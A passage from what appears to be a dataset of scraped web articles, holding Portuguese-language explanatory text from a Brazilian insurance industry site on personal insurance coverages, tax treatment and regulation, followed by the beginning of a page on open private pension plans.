Desse modo, podem ser adquiridas, ainda, as de invalidez por acidente pessoal, por doença e a invalidez funcional . Nos casos de perda de rendimentos usualmente auferidos em atividade regular, há a cobertura de diárias por incapacidade temporária , destinada à reposição desses rendimentos, conforme prazo e valores contratualmente estabelecidos, e desde que caracterizada a impossibilidade contínua, ininterrupta e temporária do pleno exercício da profissão ou ocupação. Desnecessário descrever as vantagens intrínsecas a essa cobertura, na ocorrência do infortúnio, ao segurado e a seus dependentes, em particular para os profissionais autônomos não abrigados por licenças médicas oferecidas pela seguridade social. Visando o reembolso de despesas médicas, hospitalares e odontológicas decorrentes de acidente pessoal coberto, existe a cobertura de despesas médicas, hospitalares e odontológicas que garante, exclusivamente naquele caso (acidente), o reembolso, até o limite do valor do capital segurado contratado, das despesas efetuadas pelo segurado para o tratamento das sequelas físicas decorrentes do acidente, sendo de sua livre escolha os prestadores dos serviços médicos, hospitalares e odontológicos, desde que legalmente habilitados. Objetivando garantir, na hipótese de internação em hospital, valores contratados para a diária hospitalar, em função do período de internação e observado um número máximo de diárias - todos estabelecidos no contrato de seguro - existe a cobertura de diárias por internação hospitalar , que se presta a auxiliar o segurado especialmente em situações emergenciais, além de contribuir, sobremaneira, para desoneração da sobrecarregada rede de hospitais públicos. A cobertura de doenças graves prevê a garantia de pagamento do capital determinado contratualmente pelo segurado, em decorrência do diagnóstico de alguma das doenças que foram devidamente especificadas e caracterizadas nas regras do produto. O valor do capital pago pela seguradora ao segurado, na ocorrência do infortúnio, poderá ser livremente utilizado para subsidiar o custeio de médicos, hospitais, medicamentos, equipamentos de auxílio, ou para qualquer outro fim, ainda que não relacionado à doença. A cobertura de perda de renda visa garantir, por um período certo estabelecido contratualmente, o pagamento de uma renda mensal, em casos de demissão do emprego formal. Como se vê, para lidar com as diversas situações (infortúnios) descritas, o segmento de seguros de pessoas, privado, oferece aos consumidores uma variada gama de coberturas de risco, que garantem o pagamento de pré-determinado capital segurado, ou capitais, de uma única vez, ou sob a forma de renda. Essas coberturas, em geral, são estruturadas, tecnicamente, em regime financeiro de repartição, ou seja, de mutualismo, segundo o qual todos os segurados pagam de forma a propiciar o pagamento de capital segurado ( indenização) apenas àqueles acometidos pelo infortúnio, tornando os custos, portanto, mais baixos do que se cada segurado se protegesse individual e exclusivamente por sua conta. Conforme mencionado, algumas dessas coberturas assumiram variações ou foram combinadas de tal forma a gerar produtos específicos, com identidade própria. Desse modo, verifica-se que, além de cumprir com o objetivo primordial de todo seguro - proporcionar tranquilidade ao segurado e seus beneficiários - os seguros de pessoas tornaram-se, também, poderosos instrumentos de inclusão social. É o caso, por exemplo, do seguro prestamista. O seguro prestamista, além de combinar as coberturas de morte e de invalidez, pode incluir outras, como a de perda de renda, visando, na hipótese de ocorrência dos infortúnios cobertos, honrar, em nome do segurado, dívidas por ele contraídas, associadas a esse seguro. Na impossibilidade de o segurado - por morte, invalidez, desemprego, etc. - honrar o pagamento das prestações relacionadas à tomada de financiamentos ou à compras a prazo, a sociedade seguradora garante o pagamento do saldo devedor. Tratando-se, assim, de garantia adicional para o credor, esse seguro (prestamista) possibilita às classes de renda mais baixa o acesso a um nível de concessão de crédito superior ao que teriam normalmente. Isso reflete, apenas, parte dos benefícios diretos gerados por essa modalidade, não se podendo deixar de considerar os indiretos, pois, ao garantir o pagamento de compromissos financeiros, propicia maior nível de segurança aos agentes econômicos, contribuindo para o desenvolvimento sustentado do País. Uma importante variação do seguro prestamista é o seguro habitacional . Esse seguro, em essência, consiste em um seguro prestamista vinculado a financiamento imobiliário, reunindo as mesmas coberturas de morte e de invalidez, agregadas, contudo, a cobertura de danos ao imóvel, e podendo, ainda, contemplar outras, de contratação facultativa, como a cobertura de perda de renda. Tal seguro, aliás, utilizado, universalmente, pelo Programa do Governo Federal Minha Casa Minha Vida, por força de imposição legal, se presta a reduzir os juros cobrados dos mutuários nos financiamentos imobiliários, na medida resta garantida a quitação, ou a continuidade da amortização da dívida, no caso de ocorrência de algum dos infortúnios cobertos. Pode-se afirmar, com segurança, que, para o desenvolvimento da nação, tão importante quanto contribuir para a inclusão social, é garantir a continuidade da educação, principalmente, de crianças e jovens, como é o propósito do seguro educacional . Esse produto, que normalmente agrega coberturas de morte, invalidez e outras, de caráter facultativo, como, por exemplo, a cobertura de perda de renda ou a de diárias por incapacidade temporária, e mesmo a de sobrevivência, se presta a garantir a educação dos educandos indicados pelo segurado. Desse modo, acontecendo algum dos infortúnios cobertos - o óbito, a invalidez ou o desemprego do segurado responsável pelo pagamento das mensalidades escolares, a sociedade seguradora se responsabiliza, durante o período correspondente aos ciclo(s) escolar(es) estabelecido(s) em contrato, pelo custeio das despesas relacionadas à educação do beneficiário educando. O produto pode prever ainda, na hipótese da conjugação e contratação pelo interessado da cobertura por sobrevivência, um capital segurado para subsidiar o início das atividades profissionais em caráter autônomo - aluguel de escritório, aquisição de material de suporte, de equipamento específico, de vestimentas, etc. Embora os beneficiários desse plano de seguro normalmente sejam estudantes de estabelecimentos da rede privada de ensino, as vantagens proporcionadas pelo seguro educacional se propagam à sociedade como um todo, ainda que de forma indireta. Isso porque, na ocorrência do infortúnio ou da adversidade com o responsável pelo custeio do ensino, a família pode ficar desamparada dos meios necessários para a garantia de permanência do estudante em estabelecimento particular. Nesse caso, recorrer-se-ia à rede de ensino público ou, diante da impossibilidade, simplesmente os estudos ser veriam abandonados. Obviamente, em um país onde há carência de vagas na rede pública de ensino para atender aos mais necessitados, um mecanismo capaz de promover a manutenção de estudantes na rede privada cumpre importante papel social. O seguro viagem , em geral, combina coberturas de acidentes pessoais com alguns serviços assistenciais apropriados para turistas em trânsito, a exemplo da localização de bagagem extraviada; transferências e remoções sob certas circunstâncias; etc., tendo por finalidade garantir, durante período correspondente à viagem, o pagamento do capital segurado na hipótese de ocorrência de algum dos riscos cobertos pelo seguro. Finalmente, para atender aos anseios de consumidores desejosos de reunir em um único produto as coberturas de risco e a cobertura por sobrevivência (descrita mais adiante), o mercado oferece à clientela os denominados seguros dotais mistos . De acordo com essa modalidade, estruturada de modo a prover o mais abrangente nível de proteção associado ao planejamento financeiro e patrimonial individual, parte dos valores dos prêmios pagos serve para custear as coberturas de risco e a outra parte é capitalizada, a partir de parâmetros prefixados ou não, de tal sorte seja pago o valor de capital segurado predefinido aos beneficiários, caso o segurado venha falecer, durante o período de cobertura do seguro - ou, a ele próprio, caso sobreviva àquele mesmo prazo. Para quaisquer dos produtos descritos, uma vez contratada a cobertura, na ocorrência do infortúnio para o qual se contratou a proteção, bastará ao titular (segurado) ou a seus beneficiários, se for o caso, comunicarem o fato à operadora (sociedade seguradora autorizada a operar seguros de pessoas), mediante a apresentação dos documentos comprobatórios descritos no contrato. A companhia operadora pagará o capital contratado (na forma contratada - pagamento único ou renda, dependendo do produto), no prazo máximo de 30 (trinta) dias. COBERTURA POR SOBREVIVÊNCIA Os seguros de pessoas, além de se prestarem a proteger crianças, jovens e adultos, cumprem, também, importante papel na garantia da complementação de renda na terceira idade, principalmente para a camada da população que, na ausência de renda proveniente de atividade laboral ou de outras fontes, contaria apenas com a aposentadoria concedida pelo sistema oficial público de previdência. Minimizar ou superar condições financeiras desfavoráveis, durante a terceira idade, após o período laboral - particularmente para aqueles que, durante a vida ativa, usufruíram rendimentos acima do valor de aposentadoria que suas contribuições à previdência social puderam proporcionar - exige solução de, ao longo da vida laboral, ir formando um patrimônio, cujo valor possa, no momento oportuno, ser voltado para o usufruto de renda para complementar o valor da aposentadoria proporcionada pela previdência pública. Outras circunstâncias podem motivar - e têm motivado - pessoas a acumular poupanças nesse tipo de produto. Destaque-se, entre elas: (i) o provisionamento de recursos para futuro custeio da educação de filhos, menores e/ou dependentes econômicos, assim como para iniciação de sua vida profissional; (ii) formação de reserva financeira para complementar gastos com saúde, na terceira idade; (iii) interesse em investimento, de médio a longo prazo - as taxas de rendimento proporcionadas pelos produtos conjugadas com o tratamento tributário ao qual se sujeitam, normalmente, torna-os competitivos em relação aos produtos financeiros oferecidos pelo setor financeiro; e (iv) simples garantia de reserva financeira para projetos futuros e eventualidades. Para suprir essa demanda, os seguros de pessoas oferecem aos consumidores as denominadas coberturas por sobrevivência , normalmente estruturadas, durante o período de acumulação de recursos, em regime de capitalização puramente financeira, onde cada um contribui para formação da própria poupança que irá financiar o benefício futuro. Assim, além das naturais preocupações com as prioridades de consumo, deve-se, tanto quanto possível, reservar recursos para aquisição dessa modalidade de seguro, pois oferece proteção na eventualidade da ocorrência dos citados infortúnios e para aquelas outras situações mencionadas, quando desejável. Não obstante todos os benefícios acima descritos, o principal mérito dos seguros de pessoas com cobertura por sobrevivência é terem sido regulamentados - e obtido sucesso - para possibilitar o acesso a planos de caráter previdenciário complementar à maior parte da população, ou seja, às pessoas que, ou fazem pelo formulário simplificado a declaração anual de ajustes do imposto de renda pessoa física, ou que se declaram isentas desse imposto, até, então, alijadas, na prática, dessa oportunidade. Além desses, o produto em questão adequa-se também, em caráter suplementar, àqueles que contribuem regularmente para a previdência privada complementar aberta, e desejosos de incrementar sua poupança de caráter previdenciário com depósito anuais superiores aos 12% da respectiva renda bruta anual já destinados a planos de benefícios de previdência complementar aberta - e passíveis de dedução, na declaração anual de ajustes do imposto de renda pessoa física pelo formulário completo. A propósito, e como ocorre para as coberturas de risco, uma vez contratada a cobertura por sobrevivência, na data programada para o início do seu recebimento, bastará ao titular do plano (segurado) comunicar o fato à operadora, mediante a apresentação dos documentos comprobatórios descritos no contrato. A companhia operadora pagará o capital segurado contratado (na forma contratada - pagamento único ou renda), no prazo máximo de 30 (trinta) dias. FORMAS DE CONTRATAÇÃO E DE CUSTEIO Planos de seguros de pessoas, independentemente do tipo de cobertura que ofereçam, podem ser contratados de forma individual ou coletiva, cabendo o custeio, no primeiro caso, exclusivamente à pessoa física contratante do plano. Os planos de seguro coletivos podem ser de duas espécies, a saber: averbados e instituídos . Os averbados destinam-se à contratação por Estipulantes - sindicatos, entidades de classe ou associações profissionais, entre outras - em favor, em última instância, de pessoas físicas a eles, direta ou indiretamente, vinculados. Incluem-se nesse rol de Estipulantes, as pessoas jurídicas que contratam a apólice coletiva de seguro de pessoas para associar as respectivas coberturas à garantia ou subsídio dos seus próprios produtos e serviços, nesse caso, o vínculo com os segurados decorre da relação comercial mantida com eles, na condição de clientes - como exemplo, pode-se citar o caso das instituições financeiras, beneficiárias do seguro prestamista que estipulam para seus clientes financiados, até o valor do saldo da dívida a amortizar. Assim, o capital segurado, na hipótese de ocorrência de algum dos infortúnios cobertos, será pago ao beneficiário Estipulante da apólice, no valor do saldo da dívida, quitando as obrigações relativamente ao financiamento contratado, e, se houver algum valor excedente à dívida referida, será destinado ao(s) beneficiário(s) indicado(s) pelo segurado. À semelhança dos contratados de forma individual, o custeio dos planos coletivos averbados é de exclusiva responsabilidade dos segurados pessoas físicas, sendo eles os principais interessados nas condições contratuais. Os instituídos são contratados por Estipulantes - normalmente, empregadores - em favor dos empregados e dirigentes da pessoa jurídica, e a forma de custeio pode ser de três tipos: Exclusivamente Contributário : o pagamento dos prêmios do seguro é de responsabilidade exclusiva dos segurados, sendo eles os principais interessados nas condições contratuais; Parcialmente Contributário : é de responsabilidade tanto do Estipulante/ /Empregador quanto do Segurado/Empregado o pagamento dos prêmios, na proporção convencionada contratualmente; e Não Contributário : a responsabilidade pelo pagamento dos prêmios recai, exclusivamente, sobre o Estipulante/Empregador, sendo ele o principal responsável pela negociação/manutenção das condições contratuais, inclusive pela renovação da apólice, quando for o caso. De notar, por importante, ser o Estipulante, figura regulada pelo art. 21 do Decreto-Lei nº 73, de 21.11.66, e pelos artigos 767 e 801 do Código Civil. A ESTRATÉGIA IDEAL PARA ESTAR SEGURO Há uma lógica natural intrínseca a esse processo, relacionada, exceções à parte, à normal evolução etária, profissional e financeira dos indivíduos. Considerem-se, nesse aspecto, os tipos de risco e o impacto financeiro estimado em relação a cada um deles variando em função de cada momento da evolução etária, profissional e financeira dos indivíduos. Um jovem no início de sua carreira profissional, por exemplo, ainda com limitados rendimentos e sem dependentes econômicos, deveria ter em vista dois propósitos: dar início, mesmo de forma incipiente e vagarosa, à formação de um patrimônio destinado a financiar, direta ou indiretamente, a preservação de sua renda, no período pós-laboral, visando a futura complementação do valor do benefício de aposentadoria pela previdência pública, ou para fazer frente ao custeio de projetos pessoais futuros; e contratar seguro, ou seguros de pessoas, considerando as diversas coberturas de risco disponíveis, dentro das pertinentes possibilidades financeiras e da realidade vivenciada, pois, sob tal aspecto, em vista da ausência de dependentes econômicos, possivelmente, os riscos pessoais enfrentados nessa fase da vida são mais limitados. Nessa hipótese, coberturas para o risco de invalidez, de incapacidade temporária e de desemprego poderiam proporcionar um nível básico de garantia. Essa estratégia, considerando ainda não ter fluido tempo hábil à formação de um patrimônio mínimo razoável, aliará os baixos custos do seguro a uma razoável proteção - caso ocorra o infortúnio. À medida da passagem do tempo, admitindo-se a natural evolução humana, novas necessidades de proteção irão aparecendo e se modificando ajustando-se às novas realidades da vida - a atividade profissional, a renda, o casamento, a aquisição de imóvel e de outros bens, o nascimento dos filhos, a preocupação com a aposentadoria, etc. - implicando, portanto, no aparecimento de novos riscos, de novos beneficiários e de novas necessidades de proteção. Assim, os planos de seguros de pessoas disponíveis no mercado privado foram sendo e são estruturados de modo a prover o necessário suporte e proteção às diversas necessidades de cada indivíduo, em cada uma das etapas e circunstâncias da sua vida. OUTROS ASPECTOS A SEREM OBSERVADOS AS RELAÇÕES DE TRABALHO Outro aspecto importante a ser considerado nesse contexto diz respeito às relações de trabalho com vínculo empregatício ou de forma autônoma, neste último caso, considerada também a hipótese da informalidade. O VÍNCULO EMPREGATÍCIO O vínculo empregatício pode proporcionar ao indivíduo a oportunidade de adesão a um plano de seguro de pessoas coletivo, contratado pela empresa empregadora em favor dos dirigentes e empregados. Nessa espécie de contratação, conforme mencionado anteriormente, a empresa empregadora poderá responsabilizar-se pelo custeio total ou parcial dos prêmios ou somente atuar como contratante do programa securitário, obtendo as melhores condições - considerando sua provável expertise financeira e privilegiada posição negocial - e apenas recolhendo e repassando os recursos (prêmios de seguro) de dirigentes e empregados à respectiva operadora do plano - sociedade seguradora autorizada a operar seguros de pessoas. O TRABALHO AUTÔNOMO Os autônomos - e os empregados de empresas que não oferecem esse tipo de programa securitário - têm, por sua vez, a oportunidade de adquirir seguros de pessoas individuais - também comercializados por sociedades seguradoras - ou aderir a seguros coletivos averbados, tendo como contratantes sindicatos ou associações de classe, representativos de determinada categoria profissional ou empresarial. Em ambos os casos, o custeio ocorrerá, exclusivamente, às suas próprias expensas, com a vantagem, no caso da contratação coletiva, da negociação em grupo e a consequente oportunidade de menores custos. A INFORMALIDADE A condição da informalidade - inclusive de não vinculação à previdência social - não pode ser desconsiderada, especialmente em país onde elevado percentual da população economicamente ativa ainda se encontra em tal situação. A alternativa de participar de planos individuais de seguro de pessoas, além das vantagens próprias no que se refere à proteção patrimonial pessoal, ainda beneficia o Estado, na medida em que traz essas pessoas, pelo menos, à ""formalidade tributária"", no tocante aos respectivos recursos. ASPECTOS FISCAIS Os prêmios pagos por pessoas físicas para os seguros de pessoas não contam com o mesmo tratamento fiscal do imposto de renda pessoa física dispensado à previdência complementar, o denominado diferimento fiscal aplicável às contribuições vertidas para o custeio de planos de benefícios de previdência privada complementar. Contudo, não há, na forma da lei, incidência de imposto de renda pessoa física sobre o valor dos capitais segurados pagos por morte. Além disso, sobre os prêmios recebidos para o custeio de coberturas de risco nos seguros de pessoas há incidência de IOF, à alíquota de 0,38%. No tocante à cobertura por sobrevivência, entretanto, não há incidência de IOF sobre o valor dos prêmios pagos. Comparativamente às aplicações financeiras tradicionais, essas coberturas por sobrevivência contam com o diferencial vantajoso de os respectivos rendimentos - auferidos durante o período de acumulação e capitalização dos recursos - somente serem tributados pelo imposto de renda, uma única vez, por ocasião do resgate ou do recebimento do correspondente capital segurado, às alíquotas de um dos dois regimes do imposto de renda aplicáveis, na forma da lei, a esses produtos - de alíquotas progressivas ou de alíquotas regressivas. Desse modo, a incidência do imposto de renda ocorre apenas sobre os rendimentos obtidos, não atingindo a parcela do capital segurado correspondente à restituição do valor nominal dos prêmios pagos pelo segurado. Verifica-se, por consequência, tornarem-se atrativas as referidas coberturas por sobrevivência, oferecidas nos planos de seguros de pessoas, como alternativa de investimento para médio e longo prazo, voltadas para pessoas interessadas na formação de reserva financeira a ser destinada para projetos futuros. Apesar de poderem ser contratados por pessoas jurídicas, em favor de empregados e dirigentes, esses planos não prosperaram, pois os prêmios por elas pagos são considerados, pela legislação fiscal, como remuneração, com todos os ônus daí decorrentes sobre a folha salarial das empresas. ASPECTOS LEGAIS E REGULAMENTARES VOLTADOS À PROTEÇÃO DO CONSUMIDOR As operadoras do segmento de Seguros de Pessoas - sociedades seguradoras com autorização específica para operar nesse segmento - fazem, de acordo com a lei, parte do Sistema Nacional de Seguros Privados - SNSP, tendo como órgão normativo de suas atividades o Conselho Nacional de Seguros Privados - CNSP, e funcionam sob a supervisão e fiscalização da Superintendência de Seguros Privados - SUSEP, ambos os órgãos situados na esfera de competência do Ministério da Fazenda. O seu funcionamento está sujeito à prévia autorização governamental e o desenvolvimento de suas operações, incluindo a comercialização de seus produtos, cerceado pela necessidade de cumprimento de uma série de disposições legais e regulamentares, dentre elas, regras de prudência destinadas a manter a indispensável higidez econômico-financeira do sistema, sempre protegendo os interesses dos consumidores e demais credores. De registrar, inicialmente, a regulamentação concernente à determinação legal de constituição e manutenção de provisões técnicas, que reflitam, com fidedignidade, as obrigações da entidade para com os consumidores de seus produtos. Além dessa, há a obrigatoriedade de cobertura dos valores dos saldos dessas provisões por ativos financeiros adquiridos em conformidade com modalidades expressamente previstas e autorizadas por norma específica expedida pelo Conselho Monetário Nacional - CMN, devendo, ainda, serem respeitadas rígidas regras prudenciais estabelecidas pelo Conselho Nacional de Seguros Privados - CNSP. Os valores assim constituídos e mantidos, sujeitos a informe mensal ao órgão fiscalizador, são por ele permanentemente acompanhados, além de se submeterem, periodicamente, à avaliação de auditoria atuarial independente, em conformidade com as disposições regulamentares, onde se inclui a obrigatoriedade de encaminhamento de relatórios à Susep e sua publicação, conjuntamente com as pertinentes demonstrações financeiras. Com o propósito de aferir a razoabilidade das provisões constituídas, as operadoras desse segmento são obrigadas a realizar, periodicamente, o Teste de Adequação do Passivo , obedecendo a metodologia e critérios conservadores, determinados por regulamentação expedida pela SUSEP. Constatada eventual insuficiência, essas operadoras devem providenciar de imediato sua regularização, na forma da lei. No tocante à determinação legal da cobertura do saldo das provisões técnicas por ativos garantidores, é preciso repetir ser necessário àquelas operadoras obedecer aos limites para sua aquisição, além dos critérios de diversificação e de prudência estabelecidos, quer em regulamentação expedida pelo CMN, quer pelo CNSP. É importante mencionar estarem os referidos ativos garantidores sujeitos à aceitação pela SUSEP, devendo ser a ela, na forma da lei, permanentemente vinculados. De acordo com essa disposição legal, esses ativos podem ter sua livre movimentação suspensa, a qualquer tempo, na hipótese de suspeita de cometimento de irregularidade grave. A partir da citada suspensão, os ativos garantidores das provisões técnicas não mais poderão ser alienados ou prometidos alienar, sem prévia e expressa autorização daquela Autarquia, sendo nulas, de pleno direito, quaisquer operações realizadas com violação da suspensão referida. Registre-se, por oportuno, não existirem em outros mercados, inclusive no financeiro, seja no país ou no exterior, mecanismos de proteção similares. Além dessa, outras diversas disposições infra legais estabelecem procedimentos, relativamente aos citados ativos garantidores, de sorte a: permitir a comprovação de sua existência - devem ser depositados, sempre que admissível, em sistema de custódia administrado por instituição financeira, ou entidade autorizada pela autoridade competente a prestar esse serviço; garantir a liquidação financeira das operações através das quais são transacionados, obrigando sua notação em sistemas de registro e liquidação financeira de ativos, administrados por entidades devidamente autorizadas pelas autoridades competentes; permitir à Susep visualizar, on line , as negociações e posições desses ativos - títulos e valores mobiliários - empresa a empresa, e comprovar sua vinculação à Autarquia, na forma da lei, e seu valor de mercado; e garantir sua valoração e contabilidade por critérios internacionalmente reconhecidos. Não obstante todo rigor e zelo despendidos pela regulamentação no trato das provisões técnicas e correspondentes ativos garantidores, no que tange aos requerimentos quantitativos para fins de solvência, as disposições regulamentares dispõem ainda sobre: o capital mínimo requerido para autorização e funcionamento das operadoras desse Sistema; e a manutenção de margem de solvência , calculada a partir de princípios internacionalmente aceitos, segundo os quais se estabelecem requerimentos de capital específicos para fazer frente a cada um dos riscos inerentes à operação (risco de mercado, de crédito, de subscrição, operacional, etc.); Mas não cessam aí os instrumentos legais e regulamentares voltados à proteção dos interesses dos consumidores. As operadoras de planos de seguros de pessoas referidas estão sujeitas, ainda, a diversos procedimentos determinados pela regulamentação a elas aplicável, entre outros: rígidas regras de manutenção de controles internos, visando o acompanhamento diuturno da atuação das suas diversas áreas; auditoria independente de suas demonstrações financeiras regulares; limites de retenção para os riscos subscritos, obrigando a utilização de mecanismos para sua diluição, como o cosseguro e o resseguro; etc. Não se pode olvidar, ainda, de poder a regulamentação infra legal versando sobre o patrimônio líquido ajustado dessas operadoras - calculado a partir de deduções do patrimônio líquido, segundo premissas bastante conservadoras - ser adaptada para torná-lo o mais adequado possível à garantia de direitos de credores privilegiados (fiscais e trabalhistas), de sorte a, tanto quanto possível, preservar os ativos garantidores das provisões técnicas (de constituição e manutenção obrigatória) para exclusiva satisfação de direitos dos consumidores de seus produtos. E mais, a regulamentação, buscando cuidar ao máximo dos interesses dos demais credores dessas operadoras, não descuidou de também estabelecer princípios rígidos de prudência para aplicação dos denominados recursos livres dessas empresas - representados pelo seu patrimônio líquido, e, portanto, dinheiro de seus acionistas - com o propósito de cercear a procura por alternativas de investimento menos prudentes e que possam colocar em risco a totalidade do empreendimento.",pt
1466865784,CONTENT SHARED,-5762305367413370284,-6895155480127642372,6182198327666594200,,,,HTML,http://www.cnseg.org.br/fenaprevi/previdencia-aberta/,Previdência Complementar,"PREVIDÊNCIA PRIVADA COMPLEMENTAR ABERTA No curso de suas vidas as pessoas estão sujeitas a alguns infortúnios, tais como: a morte prematura, a invalidez, e ter de enfrentar a velhice em condição financeira desfavorável, comparativamente à usufruída durante o período laboral. Sistemas públicos universais de previdência e assistência social oferecem proteção para essas e para outras situações, mas em condições que nem sempre suprem as reais necessidades dos indivíduos, em razão de limitações impostas pelos programas governamentais, em particular no tocante à percepção de valores financeiros. Nesse cenário, são criadas, regulamentadas e prosperam as modalidades privadas de prevenção adicional (complementar) contra os impactos financeiros negativos relacionados ao enfrentamento desses infortúnios, ou seja, programas de adesão voluntária voltados ao atendimento das necessidades de pessoas previdentes, passíveis de serem constituídos e operacionalizados no segmento privado de previdência complementar. OS SEGMENTOS PRIVADOS ONDE SÃO OFERECIDOS PLANOS DE BENEFÍCIOS DE PREVIDÊNCIA COMPLEMENTAR PRIVADA No Brasil, existem coberturas específicas para as necessidades previdenciárias mencionadas anteriormente, denominadas coberturas de riscos e coberturas por sobrevivência , que são oferecidas em dois segmentos distintos, ambos sob a égide da Lei Complementar nº 109, de 2001, a saber: o da previdência complementar fechada , composto pelos fundos de pensão ou entidades fechadas de previdência complementar, por meio dos planos fechados de previdência complementar; e o da previdência complementar aberta , composto pelas sociedades seguradoras autorizadas a operar seguros de pessoas e pelas entidades abertas de previdência complementar, por meio dos planos abertos de previdência complementar. Em síntese, a principal diferença entre os dois segmentos, fechado e aberto, reside no público alvo a quem se destinam os planos de benefícios operacionalizados. No caso do segmento fechado, os planos são estruturados de forma a atender a participantes pertencentes a uma única empresa - ai incluídos, também, sindicatos, associações de classe, profissionais, etc - e , ou a um grupo de empresas pré-determinado. No segmento aberto tais planos, destinam-se a atender às mesma situações, podendo, adicionalmente, ser ofertados a, e contratados, por quaisquer pessoas naturais, independente de manutenção de vinculo com empresa, inclusive em favor de menores. COBERTURAS DE RISCO Na hipótese de ocorrência do falecimento do titular do plano, o objetivo da cobertura é prover proteção financeira, mesmo que temporariamente, aos seus remanescentes - filhos, cônjuge, genitores, outros dependentes econômicos, na qualidade de beneficiários, familiares ou não. Na hipótese de ocorrência da invalidez permanente, total ou parcial, do titular do plano, a finalidade da cobertura é a autoproteção (e dos respectivos dependentes econômicos, se for o caso), relativamente aos impactos financeiros negativos decorrentes da incapacidade permanente. Para lidar com as situações (infortúnios) acima descritas, o segmento privado de previdência complementar aberta oferece aos consumidores as denominadas coberturas de risco (morte e invalidez permanente), que consistem em benefícios pagos de uma única vez (pecúlios), ou em forma de renda mensal programada (pensões). Normalmente, essas coberturas são estruturadas tecnicamente em regime financeiro de repartição, ou seja, de mutualismo, segundo o qual todos os participantes pagam de forma a propiciar o benefício apenas àqueles acometidos pelo infortúnio, tornando os custos, portanto, mais baixos do que se cada participante se protegesse individual e exclusivamente por sua conta. Assim, uma vez contratada a cobertura, na ocorrência do infortúnio para o qual se contratou a proteção, bastará ao titular (participante) ou a seus beneficiários, se for o caso, comunicarem o fato à operadora (entidade aberta de previdência complementar ou sociedade seguradora), apresentando os documentos comprobatórios descritos no regulamento do plano. A companhia operadora pagará o benefício contratado (na forma contratada - pagamento único ou renda), no prazo máximo de 30 (trinta) dias. COBERTURAS POR SOBREVIVÊNCIA Prevenir com vistas a minimizar o impacto e a enfrentar, com dignidade, futuras exigências de ordem financeira, especialmente nas situações, a seguir: acometimento por doenças não esperadas, mitigando o impacto das despesas com esse tipo de evento, particularmente nos casos e situações onde se revelam mais onerosos; perda de rendimento, ainda que temporária, para auxiliar na travessia de um período de afastamento não voluntário do trabalho; e redução dos vencimentos, na terceira idade, após o período laboral, particularmente para aqueles que, durante a vida economicamente ativa, usufruíram rendimentos superiores ao valor da aposentadoria que suas contribuições à previdência social puderam proporcionar; Exige das pessoas previdentes adotar solução de, no longo prazo, durante o transcorrer da vida laboral, ir formando um patrimônio cujo valor possa, no momento oportuno, ser voltado para atender tais necessidades. Deve-se destacar, como já mencionado, incluir-se no caso o recebimento de uma renda programada, temporária ou vitalícia, visando complementar o valor da aposentadoria proporcionada pela previdência pública, de sorte a garantir uma melhor idade, pós período laboral, com melhor qualidade de vida. Outras circunstâncias podem motivar - e têm motivado - pessoas previdentes a, com objetivo de acumular poupança, participar de programas privados de caráter previdenciário. Destaque-se, entre elas: (i) o provisionamento de recursos para futuro custeio da educação de filhos, assim como para a iniciação de sua vida profissional, mediante a instituição de planos titulados por menores; (ii) o provisionamento de recursos para futuro custeio de despesas com a saúde, na terceira idade, particularmente considerando o aumento significativo desses gastos, nessa fase da vida, associado a eventual inexistência de plano privado específico para esse fim; e (iii) a garantia de reserva financeira para projetos futuros, de longo prazo, em particular para aquisição de imóvel, ou simplesmente para emergências e eventualidades. Nesses casos são oferecidas aos consumidores as denominadas coberturas por sobrevivência , estruturadas, normalmente, durante o período de acumulação de recursos, em regime de capitalização financeira, onde cada participante contribui para formação da poupança que irá financiar o próprio benefício futuro. Os benefícios dos planos previdenciários privados abertos, de caráter complementar aos pagos pelo regime de previdência social, oferecidos pelas operadoras desse segmento de mercado, têm se tornado, cada vez mais, aderentes às necessidades particularizadas dos consumidores. Não raro encontrar-se planos possibilitando ao consumidor combinar variadas opções de risco de investimento, mas, também, coberturas previdenciárias e benefícios desejados, de sorte a permitir-lhe obter a proteção mais adequada às suas necessidades particulares. Além disso, a legislação e regulamentação vigentes facultam ao titular do plano por sobrevivência, a qualquer tempo, e sob certas condições de carência e de intervalo entre dois pedidos, a portabilidade, parcial ou total, dos recursos acumulados para qualquer outro plano, da mesma espécie, da mesma ou de outra operadora, sem incidência de ônus adicionais de qualquer natureza, inclusive tributários. É facultado, também, observadas as mesmas condicionantes, o resgate, parcial ou total dos recursos, sem ônus adicionais, observada a incidência do imposto de renda pessoa física, na forma da legislação fiscal em vigor, e considerado o regime tributário escolhido pelo titular do plano. De observar que, no caso de morte dele, e após comprovação do fato, a operadora do plano, imediatamente, resgatará os recursos em favor do beneficiário, ou beneficiários indicados, neste caso, observados os percentuais previamente indicados. Importante mencionar que, com antecedência mínima de 90 (noventa) dias, em relação à data programada para recebimento do benefício, a operadora do plano deverá enviar ao titular do plano, por escrito, mediante carta com aviso de recebimento, uma série de informações, entre elas a data contratada com essa finalidade. Assim, para recebimento do benefício, no prazo máximo de 30 (trinta) dias, bastará ao titular do plano (participante) apresentar à operadora, na data aprazada, os documentos comprobatórios exigidos no regulamento do plano. Portanto, além das naturais preocupações com as prioridades de consumo, deve-se, tanto quanto possível, ser previdente e reservar recursos para aquisição de mecanismos que ofereçam proteção na eventualidade da ocorrência dos citados infortúnios e, quando desejável, para aquelas outras situações mencionadas. FORMAS DE CONTRATAÇÃO E DE CUSTEIO Planos de Benefícios de Previdência Complementar Privada, do segmento aberto, independentemente do tipo de cobertura que ofereçam, podem ser contratados de forma individual ou coletiva, cabendo o custeio, no primeiro caso, exclusivamente à pessoa física contratante do plano. Os planos previdenciários coletivos podem ser de duas espécies, a saber: averbados e instituídos . Os averbados destinam-se à contratação por Estipulantes - sindicatos, entidades de classe ou associações profissionais, entre outras - em favor, em última instância, de pessoas físicas a eles, direta ou indiretamente, vinculados. À semelhança dos contratados de forma individual, o custeio é de exclusiva responsabilidade dos participantes pessoas físicas, sendo eles os principais interessados nas condições contratuais. Os instituídos são contratados por Estipulantes - normalmente, empregadores - em favor de empregados e dirigentes da pessoa jurídica, e a forma de custeio pode ser de três tipos: Exclusivamente Contributário: o pagamento das contribuições é de responsabilidade exclusiva dos participantes, sendo eles os principais interessados nas condições contratuais; Parcialmente Contributário: é de responsabilidade tanto do Estipulante/ /Empregador quanto do Participante/Empregado o pagamento das contribuições, na proporção convencionada contratualmente; e Não Contributário: a responsabilidade pelo pagamento das contribuições recai, exclusivamente, sobre o Estipulante/Empregador, sendo ele o principal responsável pela negociação/manutenção das condições contratuais, inclusive pela renovação do contrato, quando for o caso. A ESTRATÉGIA IDEAL PARA SER PREVIDENTE Há uma lógica natural intrínseca a esse processo, relacionada, exceções à parte, à normal evolução 